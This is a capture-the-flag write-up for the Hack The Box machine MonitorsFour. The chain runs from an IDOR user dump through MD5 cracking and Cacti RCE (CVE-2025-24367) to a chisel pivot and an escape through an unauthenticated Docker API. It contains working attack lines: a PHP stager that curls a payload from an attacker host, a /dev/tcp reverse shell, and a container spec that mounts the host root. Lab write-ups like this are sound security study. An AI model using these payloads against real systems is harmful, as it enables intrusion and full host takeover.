root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat monitorsfour.md
// writeups

MonitorsFour

6 Dec 2025 · 16 min read
MonitorsFour - maquina de Hack The Box

Executive summary — MonitorsFour is a Windows machine whose backend runs on Docker Desktop + WSL2, and it doesn't fall to a single exploit but by chaining flaws: an unauthenticated IDOR dumps every user and their MD5 hash, the admin hash is cracked with hashcat, those credentials are reused on an internal Cacti panel vulnerable to authenticated RCE (CVE-2025-24367), and from the compromised container we pivot with chisel to an unauthenticated Docker API that lets us mount the host root and gain root. A Web → Cacti → Container → Docker API → Host Root path.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.33.16

Attack map

[80/HTTP + 5985/WinRM]  nginx → vhost monitorsfour.htb
   │  IDOR (token=0) on /user → dump of users + MD5 hashes
   ▼
[MD5 hashes]  unsalted → hashcat + rockyou → admin/Marcus : wonderful1
   │  hidden vhost  cacti.monitorsfour.htb  (Cacti 1.2.28)
   ▼
[Cacti]  credential reuse  marcus:wonderful1
   │  CVE-2025-24367 (Graph Template RCE) → .php in the webroot
   ▼
[Docker container]  www-data shell → user.txt
   │  chisel  R:2375:192.168.65.7:2375  (internal Docker API)
   ▼
[Docker API 2375]  unauthenticated → container with host  /  mounted
   ▼
[ROOT Windows host / WSL2]  chroot /host → root.txt

1. Reconnaissance

We start by mapping the full attack surface with a complete nmap scan (all ports, default scripts and version detection):

nmap -sC -sV -p- --min-rate 3000 -oN nmap_10.129.33.16.txt 10.129.33.16

Result:

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Analysis: just two ports. 80/tcp (nginx) forces a redirect via the Host: header to monitorsfour.htb, and 5985/tcp (WinRM) confirms a Windows host. WinRM wasn't used in the chain —no valid native credentials turned up—; the real vector is HTTP only.

2. Web enumeration

Since the site answers by virtual host, we map the domain (and the one we'll discover later) in /etc/hosts:

echo "10.129.33.16 monitorsfour.htb cacti.monitorsfour.htb" | sudo tee -a /etc/hosts

We fuzz directories with gobuster:

gobuster dir -u http://monitorsfour.htb -w /usr/share/wordlists/dirb/big.txt

API-style routes show up: /login, /contact, /forgot-password, /user, /controllers, /views, /static. The /user route returns JSON instead of HTML:

curl http://monitorsfour.htb/user
{"error":"Missing token parameter"}

An extra fuzz reveals a publicly accessible /.env that leaks MariaDB credentials:

DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r

Note: port 3306 isn't exposed externally, so these database credentials were not needed to complete the chain. Even so, a /.env served by the web server is a serious leak on its own. Fuzzing with an API endpoint wordlist also uncovers /api/v1/user and /api/v1/auth (the latter with no useful surface).

3. IDOR — user dump (token=0)

The /user endpoint (and /api/v1/user) requires a token parameter, but doesn't validate its value safely. The check is fully bypassed with the trivial value token=0:

curl "http://monitorsfour.htb/user?token=0"

Response — it dumps every user in the database, including each one's MD5 hash, role and real token:

[
  {"id":2,"username":"admin","email":"admin@monitorsfour.htb",
   "password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user",
   "name":"Marcus Higgins","position":"System Administrator", ...},
  {"id":5,"username":"mwatson","password":"69196959c16b26ef00b77d82cf6eb169", ...},
  {"id":6,"username":"janderson","password":"2a22dcf99190c322d974c8df5ba3256b", ...},
  {"id":7,"username":"dthompson","password":"8d4a7e7fd08555133e056d9aacb1e519", ...}
]

Why it works: the token validation compares values without checking type, length or format (a classic loose comparison in PHP and broken authorization logic). The result is an IDOR / broken access control: the admin user-listing is reachable with no session or valid token. Golden rule: always try trivial values (0, null, empty, arrays) on any token or id parameter before assuming an endpoint is protected.

4. Cracking the MD5 hashes

The hashes look like unsalted MD5. We confirm it and run hashcat with rockyou:

hashid 8d4a7e7fd08555133e056d9aacb1e519
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

Result — only 1 of the 4 hashes falls, the administrator's (Marcus Higgins), but it's enough to move on:

56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1

5. Hidden vhost discovery (Cacti)

We look for additional virtual hosts with gobuster vhost:

gobuster vhost -u monitorsfour.htb -w /usr/share/wordlists/dirb/big.txt --append-domain
cacti.monitorsfour.htb   Status: 302 [Size: 0] [--> /cacti]

Browsing to http://cacti.monitorsfour.htb/cacti we hit a Cacti login on a vulnerable version (1.2.28).

6. Credential reuse in Cacti

The Cacti login does not accept the web app's username/email (admin), but the real name in lowercase: marcus. With the cracked password:

Username:  marcus
Password:  wonderful1

Lesson: the same secret reused across the management app and the monitoring panel is a very common lateral-movement pattern. Once you get any valid credential, it's worth trying it against the other discovered vhosts and internal services (Cacti, Grafana, Zabbix, phpMyAdmin, etc.).

7. CVE-2025-24367 — Cacti Authenticated RCE

Cacti 1.2.28 is vulnerable to authenticated RCE via injection in Graph Templates. The right_axis_label field of a graph template lets you inject RRDtool directives with embedded PHP (<?=...;?>). When graph generation is forced, Cacti invokes RRDtool with those parameters and ends up writing an arbitrary .php file into the webroot, which executes commands once served.

PoC flow (exploit.py):

  1. Login via POST /cacti/index.php with the CSRF token (csrfMagicToken) scraped from the page.
  2. Locate a base template (e.g. Unix - Logged in Users) to get its template_id.
  3. Stage 1: inject into right_axis_label an RRDtool block that writes a .php stager which downloads the attacker payload:
<?=`curl\x20<ATTACKER_IP>/bash\x20-o\x20bash`;?>
  1. Trigger graph_json.php so RRDtool writes and runs that .php (fetching the bash script).
  2. Stage 2: repeat with a second template whose label runs bash bash, firing the real reverse shell.

We start the listener and run the exploit (which also serves the payload over HTTP on local port 80):

nc -lvnp 4444
python3 exploit.py -u marcus -p wonderful1 -i <ATTACKER_IP> -l 4444 \
        -url http://cacti.monitorsfour.htb

Exploit output:

[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: UM95w.php
[+] Got payload: /bash
[i] Created PHP filename: Vkv0Z.php
[+] Hit timeout, looks good for shell, check your listener!

Shell received — we land inside a Docker container as www-data:

listening on [any] 4444 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.33.16] 57625
www-data@821fbd6a43fa:~/html/cacti$

8. User flag

www-data has read access to marcus's file, so there's no need to escalate inside the container to read the first flag:

www-data@821fbd6a43fa:~/html/cacti$ cat /home/marcus/user.txt
ef312dec8feed962c86344c2bbca3dda

9. Container reconnaissance

Before escalating, we figure out where we are:

uname -a
# Linux 821fbd6a43fa 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux

cat /etc/os-release
# Debian GNU/Linux 13 (trixie)

cat /etc/resolv.conf
# ... ExtServers: [host(192.168.65.7)]

Key point: the microsoft-standard-WSL2 kernel and the resolv.conf reveal that the container runs under Docker Desktop on WSL2 on a Windows host, with an internal gateway at 192.168.65.7. LinPEAS inside the container finds no local paths (SUID, cron, capabilities): the real vector isn't a classic Linux privesc, but a container escape to the host.

10. Pivoting with chisel

The container only has curl (no nc, no nmap). We use chisel —a static binary— to expose the internal port 2375 (Docker API) to the attacker through a reverse tunnel:

# On the attacker: serve the chisel binary over HTTP
python3 -m http.server 8000

# On the attacker: chisel server in reverse mode
chisel server -p 9999 --reverse
# Inside the compromised container (www-data)
curl -s http://<ATTACKER_IP>:8000/chisel -o chisel
chmod +x chisel
./chisel client <ATTACKER_IP>:9999 R:2375:192.168.65.7:2375 &

Client log confirming the tunnel:

2026/07/19 17:55:17 client: Connecting to ws://<ATTACKER_IP>:9999
2026/07/19 17:55:17 client: Connected (Latency 38.636895ms)

11. Unauthenticated Docker API

With the tunnel up, 127.0.0.1:2375 on the attacker equals 192.168.65.7:2375 (the host's Docker Desktop engine):

curl -s http://127.0.0.1:2375/version
# Docker Engine 28.3.2, KernelVersion 6.6.87.2-microsoft-standard-WSL2

curl -s http://127.0.0.1:2375/images/json
# docker_setup-nginx-php, docker_setup-mariadb, alpine:latest

The flaw: the engine answers with no authentication at all. Anyone who reaches port 2375 has full control over creating and starting containers on the host — a direct escape route.

12. Container escape — root on the host

We create an alpine:latest container with the host root bind-mounted (/:/host) and a chroot that fires a reverse shell:

{
  "Image": "alpine:latest",
  "Cmd": ["sh", "-c", "chroot /host /bin/bash -c \"bash -i >& /dev/tcp/<ATTACKER_IP>/2222 0>&1\""],
  "HostConfig": {
    "Binds": ["/:/host"]
  }
}
nc -lvnp 2222   # listener

curl -H 'Content-Type: application/json' -d @container.json \
     'http://127.0.0.1:2375/containers/create'
# {"Id":"be51d2744b33...","Warnings":[]}

curl -X POST http://127.0.0.1:2375/containers/be51d2744b33.../start

Shell received as root (uid=0), already with the chroot applied over the host root:

listening on [any] 2222 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.33.16] 60925
root@be51d2744b33:/# whoami
root
root@be51d2744b33:/# id
uid=0(root) gid=0(root) groups=0(root),...,27(sudo)

Why it works: mounting the host / inside the container and chroot-ing onto that mount point makes the process run with the real host filesystem as its root and with the container's root privilege — which in this setup equals full control of the system. The Windows filesystem is reachable via the WSL2 integration at /mnt/host/c/....

13. Root flag

root@be51d2744b33:/# cat /mnt/host/c/Users/Administrator/Desktop/root.txt
406ab9028d3807b1f5ac0279b1d0502a

Machine fully compromised. 🏴

Vulnerability summary

PhaseComponentVulnerabilityImpact
Web/user APIIDOR / broken access control (bypass with token=0)Dump of users, roles and MD5 hashes
CredentialsUnsalted MD5 hashesWeak hashing + password in rockyouCleartext password for admin (wonderful1)
AccessCacti 1.2.28 panelCredential reuse + CVE-2025-24367 (Graph Template RCE)www-data shell in the container → user.txt
PrivEscDocker API (2375)Engine exposed without authentication (reachable via pivoting)Container escape → root on the Windows/WSL2 host

Discarded paths

Path triedResultWhy discarded
Default-credential brute force on /loginFailedNo valid default credentials
/api/v1/auth (POST)405/302, no feedbackNo errors or expected params exposed; no injection surface
.env credentials (monitorsdbuser:f37p2j8f4t0r)UnusedPort 3306 not exposed externally; unnecessary for the chain
LinPEAS / local privesc in the Cacti containerNo findingsNo SUID, cron or capabilities; the vector was the escape via Docker API
WinRM (5985/tcp)Not exploitedNo native Windows/domain credentials; initial access was HTTP-only

Lessons learned

  • IDOR with token=0: a poorly implemented token/authorization check can fully bypass a control that looks present. Always try trivial values before assuming an endpoint is protected.
  • Credential reuse: a management panel and a monitoring service sharing a password is a classic lateral-movement pattern. Test any valid credential against every internal service.
  • Cacti CVE-2025-24367: graph template label fields end up interpreted as RRDtool parameters and allow writing .php into the webroot. Reproducible on any Cacti < 1.2.29 with low-privilege authenticated access.
  • Docker API without TLS/auth (2375): reaching that port —even via tunneling— is enough to create a container with / mounted and chroot into it, taking the host. After a shell in a container, always check resolv.conf, internal gateways and ports 2375/2376.
  • chisel as minimal pivoting: when the container only has curl, a static binary served over plain HTTP is enough to raise reverse tunnels and reach internal services.
  • Docker Desktop on WSL2: the Windows filesystem is reachable from Linux at /mnt/host/c/... — handy for quickly locating Users\<user>\Desktop\root.txt in hybrid Windows + Docker Desktop + WSL2 setups.